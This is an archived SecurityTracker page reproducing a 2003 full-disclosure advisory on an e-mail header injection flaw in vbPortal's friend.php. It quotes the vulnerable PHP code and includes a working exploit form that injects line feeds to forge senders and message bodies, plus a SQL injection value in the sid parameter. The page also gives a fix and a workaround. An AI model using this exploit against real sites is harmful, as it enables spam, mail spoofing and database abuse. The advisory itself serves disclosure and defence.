SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Forum/Board/Portal)  >  vbPortal Vendors:  phpPortals
vbPortal 'friend.php' Script Lets Remote Users Send Anonymous E-mail
SecurityTracker Alert ID:  1008276
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 22 2003
Impact:  Host/resource access via network
Fix Available:  Yes   Exploit Included:  Yes   Vendor Confirmed:  Yes  
Advisory:  Security-Corp
Version(s): 2.0 alpha 8.1 and possibly prior versions
Description:  Security Corporation reported a vulnerability in vbPortal. A remote user can send mail anonymously via the target system.

It is reported that a remote user can use the SendStory() and SendSite() functions in the 'friend.php' script to send arbitrary e-mail to arbitrary destinations. The remote user can specify the yname and ymail variables to inject arbitrary e-mail header lines using the line feed character.

A demonstration exploit example is provided in the Source Message.

frog-m@n is credited with discovering this flaw.

The following notification timeline is provided:

12/11/2003 Vulnerability discovered
12/11/2003 Vendor notified
12/11/2003 Vendor response
13/11/2003 Security Corporation clients notified
13/11/2003 Started e-mail discussions
21/11/2003 Last e-mail received
22/11/2003 Public disclosure

Impact:  A remote user can send anonymous e-mail via the target system.
Solution:  It is reported that a fixed version (3.0b) is available. An unofficial patch is also available at:

http://www.phpsecure.info/

Vendor URL:  www.vbportal.com/ (Links to External Site)
Cause:  Access control error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  "Security Corporation Security Advisory" <advisory@security-corporation.com>
Message History:   None.


 Source Message Contents

Date:  Sat, 22 Nov 2003 10:11:17 GMT
From:  "Security Corporation Security Advisory" <advisory@security-corporation.com>
Subject:  [Full-Disclosure] [SCSA-021] Anonymous Mail Forwarding Vulnerabilities in vbPortal

 

======================================================================
Security Corporation Security Advisory [SCSA-021] 

Anonymous Mail Forwarding Vulnerabilities in vbPortal
====================================================================== 

PROGRAM: vbPortal
HOMEPAGE: http://www.vbportal.com
VULNERABLE VERSIONS: 2.0 alpha 8.1 and Prior ?
RISK: Low
IMPACT: Allows Unauthorized Users to Send Mail Anonymously
RELEASE DATE: 2003-11-22 


======================================================================
TABLE OF CONTENTS
====================================================================== 

1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5...........................................................WORKAROUND
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8...........................................................DISCLAIMER
9...........................................................REFERENCES
10............................................................FEEDBACK 


1. DESCRIPTION
====================================================================== 

"vBPortal is a addon to the already popular message board software
called vB developed by www.vbulletin.com. vBPortal has came a
long way, and the new version 3.0 has a lot of great features and
functions. Intergrating phpnuke's functions and abilities to easily
add modules and addons has added greater abilities. Simply it adds
a frontpage, and utilizies vb's abilities and expands on that" 

(direct quote from http://www.vbportal.com) 


2. DETAILS
====================================================================== 

 - Anonymous Mail Forwarding : 

A vulnerability has been discovered in the friend.php file that
allows unauthorized users to send spam (junk mail) anonymously. 

Vulnerable code : 

<? 

[...]
function SendStory($sid, $yname, $ymail, $fname, $fmail) {
   global $sitename, $nukeurl, $prefix; 

   $result2=mysql_query("select title, time, topic from $prefix"._stories."
where sid=$sid");
   list($title, $time, $topic) = mysql_fetch_row($result2); 

   $result3=mysql_query("select topictext from $prefix"._topics." where
topicid=$topic");
   list($topictext) = mysql_fetch_row($result3); 

   $subject = ""._INTERESTING." $sitename";
   $message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname
"._CONSIDERED."\n\n\n$title\n("._FDATE." $time)\n"._FTOPIC."
$topictext\n\n"._URL.": $nukeurl/article.php?sid=$sid\n\n"._YOUCANREAD."
$sitename\n$nukeurl";
   mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer:
PHP/" . phpversion());
   $title = urlencode($title);
   $fname = urlencode($fname);
   Header("Location: friend.php?op=StorySent&title=$title&fname=$fname");
 
[...]
function SendSite($yname, $ymail, $fname, $fmail) {
   global $sitename, $slogan, $nukeurl;
   $subject = ""._INTSITE." $sitename";
   $message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._OURSITE."
$sitename "._INTSENT."\n\n\n"._FSITENAME." $sitename\n$slogan\n"._FSITEURL."
$nukeurl\n";
   mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer:
PHP/" . phpversion());
   Header("Location: friend.php?op=SiteSent&fname=$fname");
 
[...]
switch($op) {
   case "SendStory":
   SendStory($sid, $yname, $ymail, $fname, $fmail);
   break;
[...]
   case "SendSite":
   SendSite($yname, $ymail, $fname, $fmail);
   break;
[...] 

 
?> 

Both functions SendStory () and SendSite () send emails.
Two variables are (yname and ymail) modifiable in the headers.
An attacker can so inject what he wants, by using the character
LF (line feed), %0A in ASCII. 


3. EXPLOITs
====================================================================== 

 - Anonymous Mail Forwarding : 

Here is an example of simple application that changes the mail via
variables ymail and fname. 

We can here choose the sender, the name of the sender, the addressee,
the type of the message, the message and add a subject while having
the choice between both vulnerable functions. 

<?
if (!isset($Send)){
?> 

<form action="<? echo $PHP_SELF; ?>">
URL : <input type="text" name="url"><br>
 From : <input type="text" name="from"><br>
Your Name : <input type="text" name="yname"><br>
To : <input type="text" name="fmail"><br>
Content Type : <input type="text" name="contenttype" value="text/plain"><
br> Subject To Add : <input type="text" name="newsubject"><br> Op. : <br> <input type="radio" checked name="op" value="SendSite">SendSite<
br> <input type="radio" name="op" value="SendStory">SendStory<br> Message : <br><br><textarea name="message" rows="6" cols="50"><
/textarea> <br><br><input type="submit" name="Send" value="Verify"> </form> <? }else{ echo "URL : ".$url."<br>"; echo "From: ".$from."<br>"; echo "Your Name: ".$yname."<br>"; echo "To: ".$fmail."<br>"; echo "Content Type: ".$contenttype."<br>"; echo "Added Subject: ".$newsubject."<br>"; echo "Message : <br><br>".str_replace("\n","<br>",$me
ssage); if ($op=="SendStory"){ $sid="1%20OR%201=1"; } $ymail=$from.">%0A"; $ymail.="Subject:".$newsubject."%0A"; $ymail.="Content-Type:multipart/mixed;%20boundary=Anonymous;"; $ymail.="%0A%0A%0A"; $fname="%0A--Anonymous%0A"; $fname.="Content-Type:".$contenttype."%0A%0A"; $fname.=str_replace("\n","%0A",$message); $fname.="%0A%0A%0A"; $fname.="--Anonymous--"; $fname.="%0A%0A%0A"; $url.="/friend.php?sid=".$sid."&op=".$op."&yname=".$yname."&
ymail=".$ymail." &fmail=".$fmail."&fname=".$fname; echo "<br><br><b><a href=\"$url\">Ok, Mail It</a></b>"
; ?> Let us remind that the user chosen in the request of this exploit (the first registered) will receive too a copy of the mail, because an addressee was already defines. Ours will come to add later. 4. SOLUTIONS ====================================================================== You can found a patch at the following link : http://www.phpsecure.info Version 3.0b have been fixed 5. WORKAROUND ====================================================================== For Version 2.0 alpha 8.1 add simply the following line in friend.php file just before "switch($op) {" : ------SNIP------- if (eregi("\n",$yname) OR eregi("\n",$ymail) OR eregi("\r",$yname) OR eregi("\r",$ymail)){ die("Patched"); } ------SNIP------- 6. DISCLOSURE TIMELINE ====================================================================== 12/11/2003 Vulnerability discovered 12/11/2003 Vendor notified 12/11/2003 Vendor response 13/11/2003 Security Corporation clients notified 13/11/2003 Started e-mail discussions 21/11/2003 Last e-mail received 22/11/2003 Public disclosure 7. CREDITS ====================================================================== frog-m@n <frog-man@security-corporation.com> is credited with this discovery 8. DISLAIMER ====================================================================== The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. 9. REFERENCES ====================================================================== - Original Version: http://www.security-corporation.com/advisories-021.html - Version Française: http://www.security-corporation.com/index.php?id=advisories&a=021-FR 10. FEEDBACK ====================================================================== Please send suggestions, updates, and comments to: Security Corporation http://www.security-corporation.com advisory@security-corporation.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2003, SecurityGlobal.net LLC